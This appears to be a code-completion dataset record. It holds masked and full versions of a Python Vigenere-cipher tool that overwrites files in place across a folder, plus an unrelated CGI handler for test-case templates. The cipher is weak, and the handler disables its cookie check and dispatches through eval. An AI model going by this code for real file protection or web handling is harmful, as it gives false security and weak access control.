ord(i) <= ord('~')): index %= len(key) if((ord('!') + ord(i) - ord(key[index])) < ord('!')): ans += (chr(ord('~') + (ord(i) - ord(key[index])) + 1)) else: ans += (chr(ord('!') + ord(i) - ord(key[index]))) else: ans += i return ans def read_from_file(file_name): f = open(file_name, 'r') data = f.read() f.close() return data def write_to_file(file_name, data): f = open(file_name, 'w') data = f.write(data) f.close() def encode_from_file(file_name, obj): data = read_from_file(file_name) for _ in range(args.strength): data = obj.encode(data) write_to_file(file_name, data) # Replaces file with encrypted data print('encode file -> ' + file_name) def decode_from_file(file_name, obj): data = read_from_file(file_name) for _ in range(args.strength): data = obj.decode(data) write_to_file(file_name, data) # Replaces file with decrypted data print('decode file -> ' + file_name) def encription_form_path(PATH, obj): # Recursive function (MT-safe) try: for path in os.listdir(PATH): encription_form_path(PATH + '/' + path, obj) except(OSError): if(args.encode): encode_from_file(PATH, obj) elif(args.decode): decode_from_file(PATH, obj) """ input can be either -i file / -f folder, encode -e, decode -d for encryption and decryption respectively, strength -s indicates number of times to be encrypted / decrypted. """ parser = argparse.ArgumentParser('Description of your program') parser.add_argument('-i', '--input_file', help='input file name', required=False) parser.add_argument('-e', '--encode', help='encode password', required=False) parser.add_argument('-d', '--decode', help='decode password', required=False) parser.add_argument('-f', '--folder', help='folder name', required=False) parser.add_argument('-s', '--strength', help='encription strength', type=int, default=1, required=False) args = (parser.parse_args()) if(args.input_file): PATH = args.input_file elif(args.folder): PATH = args.folder else: exit('Need --input_file or --folder\nUse -h for help') if(args.encode): pswd = args.encode elif(args.decode): pswd = args.decode else: exit('Need --encode or --decode\nUse -h for help') obj = VigenereCipher(pswd) encription_form_path(PATH, obj)
normal
{ "blob_id": "38906a31ab96e05a9e55a51260632538872ed463", "index": 6889, "step-1": "<mask token>\n\n\nclass VigenereCipher(object):\n\n def __init__(self, key):\n print('Vigenere Cipher Encription')\n self.key = key\n\n def encode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord(i) + ord(key[index]) - ord('!') > ord('~'):\n ans += chr(ord('!') + (ord(i) + ord(key[index]) - ord(\n '!')) % ord('~') - 1)\n else:\n ans += chr(ord(i) + ord(key[index]) - ord('!'))\n else:\n ans += i\n return ans\n\n def decode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord('!') + ord(i) - ord(key[index]) < ord('!'):\n ans += chr(ord('~') + (ord(i) - ord(key[index])) + 1)\n else:\n ans += chr(ord('!') + ord(i) - ord(key[index]))\n else:\n ans += i\n return ans\n\n\n<mask token>\n\n\ndef write_to_file(file_name, data):\n f = open(file_name, 'w')\n data = f.write(data)\n f.close()\n\n\ndef encode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.encode(data)\n write_to_file(file_name, data)\n print('encode file -> ' + file_name)\n\n\ndef decode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.decode(data)\n write_to_file(file_name, data)\n print('decode file -> ' + file_name)\n\n\ndef encription_form_path(PATH, obj):\n try:\n for path in os.listdir(PATH):\n encription_form_path(PATH + '/' + path, obj)\n except OSError:\n if args.encode:\n encode_from_file(PATH, obj)\n elif args.decode:\n decode_from_file(PATH, obj)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass VigenereCipher(object):\n\n def __init__(self, key):\n print('Vigenere Cipher Encription')\n self.key = key\n\n def encode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord(i) + ord(key[index]) - ord('!') > ord('~'):\n ans += chr(ord('!') + (ord(i) + ord(key[index]) - ord(\n '!')) % ord('~') - 1)\n else:\n ans += chr(ord(i) + ord(key[index]) - ord('!'))\n else:\n ans += i\n return ans\n\n def decode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord('!') + ord(i) - ord(key[index]) < ord('!'):\n ans += chr(ord('~') + (ord(i) - ord(key[index])) + 1)\n else:\n ans += chr(ord('!') + ord(i) - ord(key[index]))\n else:\n ans += i\n return ans\n\n\ndef read_from_file(file_name):\n f = open(file_name, 'r')\n data = f.read()\n f.close()\n return data\n\n\ndef write_to_file(file_name, data):\n f = open(file_name, 'w')\n data = f.write(data)\n f.close()\n\n\ndef encode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.encode(data)\n write_to_file(file_name, data)\n print('encode file -> ' + file_name)\n\n\ndef decode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.decode(data)\n write_to_file(file_name, data)\n print('decode file -> ' + file_name)\n\n\ndef encription_form_path(PATH, obj):\n try:\n for path in os.listdir(PATH):\n encription_form_path(PATH + '/' + path, obj)\n except OSError:\n if args.encode:\n encode_from_file(PATH, obj)\n elif args.decode:\n decode_from_file(PATH, obj)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass VigenereCipher(object):\n\n def __init__(self, key):\n print('Vigenere Cipher Encription')\n self.key = key\n\n def encode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord(i) + ord(key[index]) - ord('!') > ord('~'):\n ans += chr(ord('!') + (ord(i) + ord(key[index]) - ord(\n '!')) % ord('~') - 1)\n else:\n ans += chr(ord(i) + ord(key[index]) - ord('!'))\n else:\n ans += i\n return ans\n\n def decode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord('!') + ord(i) - ord(key[index]) < ord('!'):\n ans += chr(ord('~') + (ord(i) - ord(key[index])) + 1)\n else:\n ans += chr(ord('!') + ord(i) - ord(key[index]))\n else:\n ans += i\n return ans\n\n\ndef read_from_file(file_name):\n f = open(file_name, 'r')\n data = f.read()\n f.close()\n return data\n\n\ndef write_to_file(file_name, data):\n f = open(file_name, 'w')\n data = f.write(data)\n f.close()\n\n\ndef encode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.encode(data)\n write_to_file(file_name, data)\n print('encode file -> ' + file_name)\n\n\ndef decode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.decode(data)\n write_to_file(file_name, data)\n print('decode file -> ' + file_name)\n\n\ndef encription_form_path(PATH, obj):\n try:\n for path in os.listdir(PATH):\n encription_form_path(PATH + '/' + path, obj)\n except OSError:\n if args.encode:\n encode_from_file(PATH, obj)\n elif args.decode:\n decode_from_file(PATH, obj)\n\n\n<mask token>\nparser = argparse.ArgumentParser('Description of your program')\nparser.add_argument('-i', '--input_file', help='input file name', required=\n False)\nparser.add_argument('-e', '--encode', help='encode password', required=False)\nparser.add_argument('-d', '--decode', help='decode password', required=False)\nparser.add_argument('-f', '--folder', help='folder name', required=False)\nparser.add_argument('-s', '--strength', help='encription strength', type=\n int, default=1, required=False)\nargs = parser.parse_args()\nif args.input_file:\n PATH = args.input_file\nelif args.folder:\n PATH = args.folder\nelse:\n exit('Need --input_file or --folder\\nUse -h for help')\nif args.encode:\n pswd = args.encode\nelif args.decode:\n pswd = args.decode\nelse:\n exit('Need --encode or --decode\\nUse -h for help')\nobj = VigenereCipher(pswd)\nencription_form_path(PATH, obj)\n", "step-4": "<mask token>\nimport os\nimport argparse\n\n\nclass VigenereCipher(object):\n\n def __init__(self, key):\n print('Vigenere Cipher Encription')\n self.key = key\n\n def encode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord(i) + ord(key[index]) - ord('!') > ord('~'):\n ans += chr(ord('!') + (ord(i) + ord(key[index]) - ord(\n '!')) % ord('~') - 1)\n else:\n ans += chr(ord(i) + ord(key[index]) - ord('!'))\n else:\n ans += i\n return ans\n\n def decode(self, text):\n key = self.key\n ans = ''\n for index, i in enumerate(text):\n if ord('!') <= ord(i) <= ord('~'):\n index %= len(key)\n if ord('!') + ord(i) - ord(key[index]) < ord('!'):\n ans += chr(ord('~') + (ord(i) - ord(key[index])) + 1)\n else:\n ans += chr(ord('!') + ord(i) - ord(key[index]))\n else:\n ans += i\n return ans\n\n\ndef read_from_file(file_name):\n f = open(file_name, 'r')\n data = f.read()\n f.close()\n return data\n\n\ndef write_to_file(file_name, data):\n f = open(file_name, 'w')\n data = f.write(data)\n f.close()\n\n\ndef encode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.encode(data)\n write_to_file(file_name, data)\n print('encode file -> ' + file_name)\n\n\ndef decode_from_file(file_name, obj):\n data = read_from_file(file_name)\n for _ in range(args.strength):\n data = obj.decode(data)\n write_to_file(file_name, data)\n print('decode file -> ' + file_name)\n\n\ndef encription_form_path(PATH, obj):\n try:\n for path in os.listdir(PATH):\n encription_form_path(PATH + '/' + path, obj)\n except OSError:\n if args.encode:\n encode_from_file(PATH, obj)\n elif args.decode:\n decode_from_file(PATH, obj)\n\n\n<mask token>\nparser = argparse.ArgumentParser('Description of your program')\nparser.add_argument('-i', '--input_file', help='input file name', required=\n False)\nparser.add_argument('-e', '--encode', help='encode password', required=False)\nparser.add_argument('-d', '--decode', help='decode password', required=False)\nparser.add_argument('-f', '--folder', help='folder name', required=False)\nparser.add_argument('-s', '--strength', help='encription strength', type=\n int, default=1, required=False)\nargs = parser.parse_args()\nif args.input_file:\n PATH = args.input_file\nelif args.folder:\n PATH = args.folder\nelse:\n exit('Need --input_file or --folder\\nUse -h for help')\nif args.encode:\n pswd = args.encode\nelif args.decode:\n pswd = args.decode\nelse:\n exit('Need --encode or --decode\\nUse -h for help')\nobj = VigenereCipher(pswd)\nencription_form_path(PATH, obj)\n", "step-5": "#!/usr/bin/env python3\r\n# coding: utf-8\r\n\r\n\r\n\"\"\"\r\n Blaise de Vigenère (1523–1596) mathematician, developed encryption scheme,\r\n VigenereCipher algorithm is implemented based on his work, with a utility\r\n of relative strength index for encryption and decryption.\r\n\r\n VERSION : 1.0\r\n LICENSE : GNU GPLv3\r\n STYLE : PEP 8\r\n AUTHOR : AKULA.S.S.S.R.Krishna\r\n Date : 05/11/2020\r\n\r\n PURPOSE : To encrypt and decrypt text based files\r\n INPUT : python3 VingenerCipher -i sample_file.txt -e \"sample password\"\r\n OUTPUT : sample_file.txt will be replaced with encrypted data.\r\n\"\"\"\r\n\r\n\r\nimport os\r\nimport argparse\r\n\r\n\r\nclass VigenereCipher(object):\r\n def __init__(self, key):\r\n print('Vigenere Cipher Encription')\r\n self.key = key\r\n\r\n def encode(self, text): # Based on password every character\r\n key = self.key # will be encrypted with different bias\r\n ans = ''\r\n for index, i in enumerate(text):\r\n if(ord('!') <= ord(i) <= ord('~')):\r\n index %= len(key)\r\n if(ord(i) + ord(key[index]) - ord('!') > ord('~')):\r\n ans += (chr(ord('!') + (ord(i) + ord(key[index])\r\n - ord('!')) % ord('~') - 1))\r\n else:\r\n ans += (chr(ord(i) + ord(key[index]) - ord('!')))\r\n else:\r\n ans += i\r\n return ans\r\n\r\n def decode(self, text): # Based on password every character\r\n key = self.key # will be decrypted with different bias\r\n ans = ''\r\n for index, i in enumerate(text):\r\n if(ord('!') <= ord(i) <= ord('~')):\r\n index %= len(key)\r\n if((ord('!') + ord(i) - ord(key[index])) < ord('!')):\r\n ans += (chr(ord('~') + (ord(i) - ord(key[index])) + 1))\r\n else:\r\n ans += (chr(ord('!') + ord(i) - ord(key[index])))\r\n else:\r\n ans += i\r\n return ans\r\n\r\n\r\ndef read_from_file(file_name):\r\n f = open(file_name, 'r')\r\n data = f.read()\r\n f.close()\r\n return data\r\n\r\n\r\ndef write_to_file(file_name, data):\r\n f = open(file_name, 'w')\r\n data = f.write(data)\r\n f.close()\r\n\r\n\r\ndef encode_from_file(file_name, obj):\r\n data = read_from_file(file_name)\r\n for _ in range(args.strength):\r\n data = obj.encode(data)\r\n write_to_file(file_name, data) # Replaces file with encrypted data\r\n print('encode file -> ' + file_name)\r\n\r\n\r\ndef decode_from_file(file_name, obj):\r\n data = read_from_file(file_name)\r\n for _ in range(args.strength):\r\n data = obj.decode(data)\r\n write_to_file(file_name, data) # Replaces file with decrypted data\r\n print('decode file -> ' + file_name)\r\n\r\n\r\ndef encription_form_path(PATH, obj): # Recursive function (MT-safe)\r\n try:\r\n for path in os.listdir(PATH):\r\n encription_form_path(PATH + '/' + path, obj)\r\n except(OSError):\r\n if(args.encode):\r\n encode_from_file(PATH, obj)\r\n elif(args.decode):\r\n decode_from_file(PATH, obj)\r\n\r\n\r\n\"\"\"\r\n input can be either -i file / -f folder,\r\n encode -e, decode -d for encryption and decryption respectively,\r\n strength -s indicates number of times to be encrypted / decrypted.\r\n\r\n\"\"\"\r\n\r\n\r\nparser = argparse.ArgumentParser('Description of your program')\r\nparser.add_argument('-i', '--input_file',\r\n help='input file name', required=False)\r\nparser.add_argument('-e', '--encode',\r\n help='encode password', required=False)\r\nparser.add_argument('-d', '--decode',\r\n help='decode password', required=False)\r\nparser.add_argument('-f', '--folder',\r\n help='folder name', required=False)\r\nparser.add_argument('-s', '--strength',\r\n help='encription strength', type=int,\r\n default=1, required=False)\r\nargs = (parser.parse_args())\r\n\r\nif(args.input_file):\r\n PATH = args.input_file\r\nelif(args.folder):\r\n PATH = args.folder\r\nelse:\r\n exit('Need --input_file or --folder\\nUse -h for help')\r\n\r\nif(args.encode):\r\n pswd = args.encode\r\nelif(args.decode):\r\n pswd = args.decode\r\nelse:\r\n exit('Need --encode or --decode\\nUse -h for help')\r\n\r\n\r\nobj = VigenereCipher(pswd)\r\nencription_form_path(PATH, obj)\r\n", "step-ids": [ 8, 9, 11, 12, 13 ] }
[ 8, 9, 11, 12, 13 ]
<|reserved_special_token_0|> class Ccase_model(cgibase): def __init__(self): return cgibase.__init__(self) <|reserved_special_token_0|> def cmadd(self): self.log.debug('cmadd in.') req = self.input['input'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method =method, type=type) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmquery(self): self.log.debug('cmquery in.') req = self.input['input'] pid = req['pid'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum) self.out = {'data': list0} else: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum) self.out = {'total': total, 'data': list0} <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def cmupdate(self): self.log.debug('cmupdate in.') req = self.input['input'] id = req['id'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip, url=url, method=method, type=type) if istrue: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmdelete(self): self.log.debug('cmdelete in.') req = self.input['input'] id = req['id'] pid = req['pid'] if isinstance(id, list): total = 0 for i in id: num = Case_model().cmdelete(i) if num: total += 1 if total == len(id): total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} else: num = Case_model().cmdelete(id) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Ccase_model(cgibase): def __init__(self): return cgibase.__init__(self) def onInit(self): cgibase.SetNoCheckCookie(self) opr = cgibase.onInit(self) if opr is None: return if not hasattr(self, opr): self.out = g_err['input_err'] return eval('self.%s()' % opr) def cmadd(self): self.log.debug('cmadd in.') req = self.input['input'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method =method, type=type) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmquery(self): self.log.debug('cmquery in.') req = self.input['input'] pid = req['pid'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum) self.out = {'data': list0} else: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum) self.out = {'total': total, 'data': list0} def cmquery_id_name(self): self.log.debug('cmquery_id_name in.') req = self.input['input'] pid = req['pid'] list0 = Case_model().cmquery_id_name(pid=pid) self.out = {'data': list0} <|reserved_special_token_0|> def cmquery_by_id(self): self.log.debug('cmquery_by_id in.') req = self.input['input'] id = req['id'] case_model = Case_model().cmqueryone(id=id) if case_model: self.out = {'status': 0, 'data': case_model} else: self.out = {'status': 1} def cmupdate(self): self.log.debug('cmupdate in.') req = self.input['input'] id = req['id'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip, url=url, method=method, type=type) if istrue: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmdelete(self): self.log.debug('cmdelete in.') req = self.input['input'] id = req['id'] pid = req['pid'] if isinstance(id, list): total = 0 for i in id: num = Case_model().cmdelete(i) if num: total += 1 if total == len(id): total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} else: num = Case_model().cmdelete(id) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Ccase_model(cgibase): def __init__(self): return cgibase.__init__(self) def onInit(self): cgibase.SetNoCheckCookie(self) opr = cgibase.onInit(self) if opr is None: return if not hasattr(self, opr): self.out = g_err['input_err'] return eval('self.%s()' % opr) def cmadd(self): self.log.debug('cmadd in.') req = self.input['input'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method =method, type=type) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmquery(self): self.log.debug('cmquery in.') req = self.input['input'] pid = req['pid'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum) self.out = {'data': list0} else: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum) self.out = {'total': total, 'data': list0} def cmquery_id_name(self): self.log.debug('cmquery_id_name in.') req = self.input['input'] pid = req['pid'] list0 = Case_model().cmquery_id_name(pid=pid) self.out = {'data': list0} def cmquery_by_name(self): self.log.debug('cmquery_by_name in.') req = self.input['input'] pid = req['pid'] name = req['name'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num= skipnum, limit_num=limitnum, name=name) self.out = {'data': list0} else: total = Case_model().cmquery_total_by_name(pid=pid, name=name) list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0, limit_num=limitnum, name=name) self.out = {'total': total, 'data': list0} def cmquery_by_id(self): self.log.debug('cmquery_by_id in.') req = self.input['input'] id = req['id'] case_model = Case_model().cmqueryone(id=id) if case_model: self.out = {'status': 0, 'data': case_model} else: self.out = {'status': 1} def cmupdate(self): self.log.debug('cmupdate in.') req = self.input['input'] id = req['id'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip, url=url, method=method, type=type) if istrue: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmdelete(self): self.log.debug('cmdelete in.') req = self.input['input'] id = req['id'] pid = req['pid'] if isinstance(id, list): total = 0 for i in id: num = Case_model().cmdelete(i) if num: total += 1 if total == len(id): total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} else: num = Case_model().cmdelete(id) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Ccase_model(cgibase): def __init__(self): return cgibase.__init__(self) def onInit(self): cgibase.SetNoCheckCookie(self) opr = cgibase.onInit(self) if opr is None: return if not hasattr(self, opr): self.out = g_err['input_err'] return eval('self.%s()' % opr) def cmadd(self): self.log.debug('cmadd in.') req = self.input['input'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method =method, type=type) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmquery(self): self.log.debug('cmquery in.') req = self.input['input'] pid = req['pid'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum) self.out = {'data': list0} else: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum) self.out = {'total': total, 'data': list0} def cmquery_id_name(self): self.log.debug('cmquery_id_name in.') req = self.input['input'] pid = req['pid'] list0 = Case_model().cmquery_id_name(pid=pid) self.out = {'data': list0} def cmquery_by_name(self): self.log.debug('cmquery_by_name in.') req = self.input['input'] pid = req['pid'] name = req['name'] page = req['page'] limitnum = 8 if page: skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num= skipnum, limit_num=limitnum, name=name) self.out = {'data': list0} else: total = Case_model().cmquery_total_by_name(pid=pid, name=name) list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0, limit_num=limitnum, name=name) self.out = {'total': total, 'data': list0} def cmquery_by_id(self): self.log.debug('cmquery_by_id in.') req = self.input['input'] id = req['id'] case_model = Case_model().cmqueryone(id=id) if case_model: self.out = {'status': 0, 'data': case_model} else: self.out = {'status': 1} def cmupdate(self): self.log.debug('cmupdate in.') req = self.input['input'] id = req['id'] name = req['name'] pid = req['pid'] ip = req['ip'] url = req['url'] method = req['method'] type = req['type'] istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip, url=url, method=method, type=type) if istrue: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} def cmdelete(self): self.log.debug('cmdelete in.') req = self.input['input'] id = req['id'] pid = req['pid'] if isinstance(id, list): total = 0 for i in id: num = Case_model().cmdelete(i) if num: total += 1 if total == len(id): total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} else: num = Case_model().cmdelete(id) if num: total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {'status': 0, 'total': total, 'data': list0} else: self.out = {'status': 1} if __name__ == '__main__': pass <|reserved_special_token_1|> #!/usr/bin/python # -*- coding: utf-8 -*- from tp_global import * from cgibase import cgibase from tp_mongodb import * import json import requests class Ccase_model(cgibase): def __init__(self): return cgibase.__init__(self) def onInit(self): cgibase.SetNoCheckCookie(self) opr = cgibase.onInit(self) if opr is None: return if not hasattr(self, opr): self.out = g_err["input_err"] return eval("self.%s()"%opr) # 新增模版,所需参数opr,name, pid, ip, url, method, type def cmadd(self): self.log.debug("cmadd in.") req = self.input["input"] # 模版名 name = req["name"] # 模版所属项目id pid = req["pid"] # API主机 ip = req["ip"] # 请求url url = req["url"] # 请求方法 method = req["method"] # 请求类型 type = req["type"] # 新增成功则返回模版ID,失败返回空 num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method=method, type=type) if num: # 重新查询 total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {"status": 0, "total": total, "data": list0} else: self.out = {"status":1} # 查询指定项目模版列表,所需参数opr,pid,page def cmquery(self): self.log.debug("cmquery in.") req = self.input["input"] # 指定项目id pid = req["pid"] # 当前页码数,第一次查询是默认为0 page = req["page"] # 每页显示条数 limitnum = 8 if page: # 数据库查询时跳过的条数 skipnum = (int(page)-1) * limitnum list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum) self.out = {"data": list0} else: # 第一次查询,页码为0,查询总条数,用于前台分页 total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum) self.out = {"total": total, "data": list0} # 查询指定项目模版的id和名称,用于新增用例,所需参数opr,pid def cmquery_id_name(self): self.log.debug("cmquery_id_name in.") req = self.input["input"] # 指定的项目id pid = req["pid"] list0 = Case_model().cmquery_id_name(pid=pid) self.out = {"data": list0} # 通过模块名称模糊查询指定项目模版列表,所需参数opr,pid,name,page def cmquery_by_name(self): self.log.debug("cmquery_by_name in.") req = self.input["input"] # 指定项目id pid = req["pid"] # 模版名称 name = req["name"] # 当前页码数,第一次查询是默认为0 page = req["page"] # 每页显示条数 limitnum = 8 if page: # 数据库查询时跳过的条数 skipnum = (int(page) - 1) * limitnum list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=skipnum, limit_num=limitnum, name=name) self.out = {"data": list0} else: # 第一次查询,页码为0,查询总条数,用于前台分页 total = Case_model().cmquery_total_by_name(pid=pid, name=name) list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0, limit_num=limitnum, name=name) self.out = {"total": total, "data": list0} # 通过id去查询用例模版,所需参数opr,id def cmquery_by_id(self): self.log.debug("cmquery_by_id in.") req = self.input["input"] # 模版id id = req["id"] case_model = Case_model().cmqueryone(id=id) if case_model: self.out = {"status": 0, "data": case_model} else: self.out = {"status": 1} # 编辑模版,所需参数opr, id, name, pid, ip, url, method, type def cmupdate(self): self.log.debug("cmupdate in.") req = self.input["input"] # 模版id id = req["id"] # 模版名 name = req["name"] # 项目名 pid = req["pid"] # API主机 ip = req["ip"] # 请求url url = req["url"] # 请求方法 method = req["method"] # 请求类型 type = req["type"] # 返回true(更新成功)/false(更新失败) istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip, url=url, method=method, type=type) if istrue: # 重新查询 total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {"status": 0, "total": total, "data": list0} else: self.out = {"status":1} # 删除模版,所需参数opr,id,pid def cmdelete(self): self.log.debug("cmdelete in.") req = self.input["input"] # 模版id id = req["id"] # 项目id pid = req["pid"] # 批量删除 if isinstance(id, list): # 成功删除的个数 total = 0 # 循环删除 for i in id: num = Case_model().cmdelete(i) if num: total += 1 if total == len(id): # 重新查询 total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {"status": 0, "total": total, "data": list0} else: self.out = {"status": 1} # 删除单个 else: # 返回1(删除成功)/0(删除失败) num = Case_model().cmdelete(id) if num: # 重新查询 total = Case_model().cmquery_total(pid=pid) list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8) self.out = {"status": 0, "total": total, "data": list0} else: self.out = {"status": 1} if __name__ == "__main__": pass
flexible
